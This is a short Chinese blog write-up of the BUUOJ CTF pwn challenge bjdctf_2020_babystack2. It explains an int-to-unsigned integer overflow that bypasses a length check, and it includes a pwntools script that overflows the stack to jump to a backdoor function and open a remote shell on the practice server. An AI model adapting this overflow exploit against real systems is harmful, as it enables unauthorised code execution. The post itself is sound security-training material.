0
点赞
收藏
分享

微信扫一扫

[BUUOJ]bjdctf_2020_babystack2


bjdctf_2020_babystack2

checksec是64位小端序,IDA分析看没找到明显的输入溢出逻辑,但是找到了后门函数,再仔细观察发现数值里面有强制转换,有一部分从int转到了unsigned int,因此可以初步判定为整型溢出,如果我输入-1即可突破长度为10的限制,所以以此下手即可成功修改返回地址,getshell

from pwn import *
from LibcSearcher import *

#context.log_level="debug"

context(os='linux',arch='i386', log_level = 'debug')

#p=process('./bjdctf_2020_babystack2')
elf=ELF('./bjdctf_2020_babystack2')
p=remote('node4.buuoj.cn', 29027)

p.recvuntil('name:\n')
p.sendline('-1')

payload = b'a'*(0x10 + 8) + p64(0x400726)
p.sendline(payload)
p.interactive()


举报

相关推荐

BJDctf2020 Ezphp

[BJDCTF2020]EzPHP

buu-[BJDCTF2020]JustRE

[BJDCTF2020]纳尼1

[BJDCTF 2020]easy_md5

0 条评论